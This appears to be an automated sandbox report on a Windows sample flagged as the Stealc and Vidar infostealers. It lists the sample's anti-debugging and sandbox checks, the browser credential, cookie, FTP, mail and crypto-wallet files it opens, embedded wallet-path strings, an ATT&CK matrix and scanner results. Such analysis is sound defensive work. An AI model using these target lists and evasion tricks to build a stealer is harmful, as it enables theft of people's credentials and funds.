Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GHCAAAAK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: GHCAAAAK.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: GHCAAAAK.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: GHCAAAAK.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000002.2378464740.0000000001412000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8gD
Source: GHCAAAAK.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: GHCAAAAK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GHCAAAAK.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: GHCAAAAK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: GHCAAAAK.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: GHCAAAAK.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: GHCAAAAK.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: GHCAAAAK.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: GHCAAAAK.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: GHCAAAAK.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: GHCAAAAK.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: GHCAAAAK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: GHCAAAAK.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: GHCAAAAK.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: GHCAAAAK.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: GHCAAAAK.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: GHCAAAAK.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: GHCAAAAK.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: GHCAAAAK.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: GHCAAAAK.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: GHCAAAAK.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: GHCAAAAK.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: GHCAAAAK.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2378464740.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GHCAAAAK.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: GHCAAAAK.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GHCAAAAK.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: GHCAAAAK.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58548
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59735
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58545
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58560
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58600
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58568

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006C45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_006C45C0

Source: C:\Users\user\Desktop\file.exe

0_2_006D9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D9750 mov eax, dword ptr fs:[00000030h]

0_2_006D9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_006D7850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2296, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_006D9600

Source: file.exe, file.exe, 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_006D7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_006D6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_006D7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_006D7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2101514591.0000000005090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2378464740.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2296, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2296, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\..

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2296, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2101514591.0000000005090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2378464740.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2296, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2296, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	58%	Virustotal		Browse
file.exe	50%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
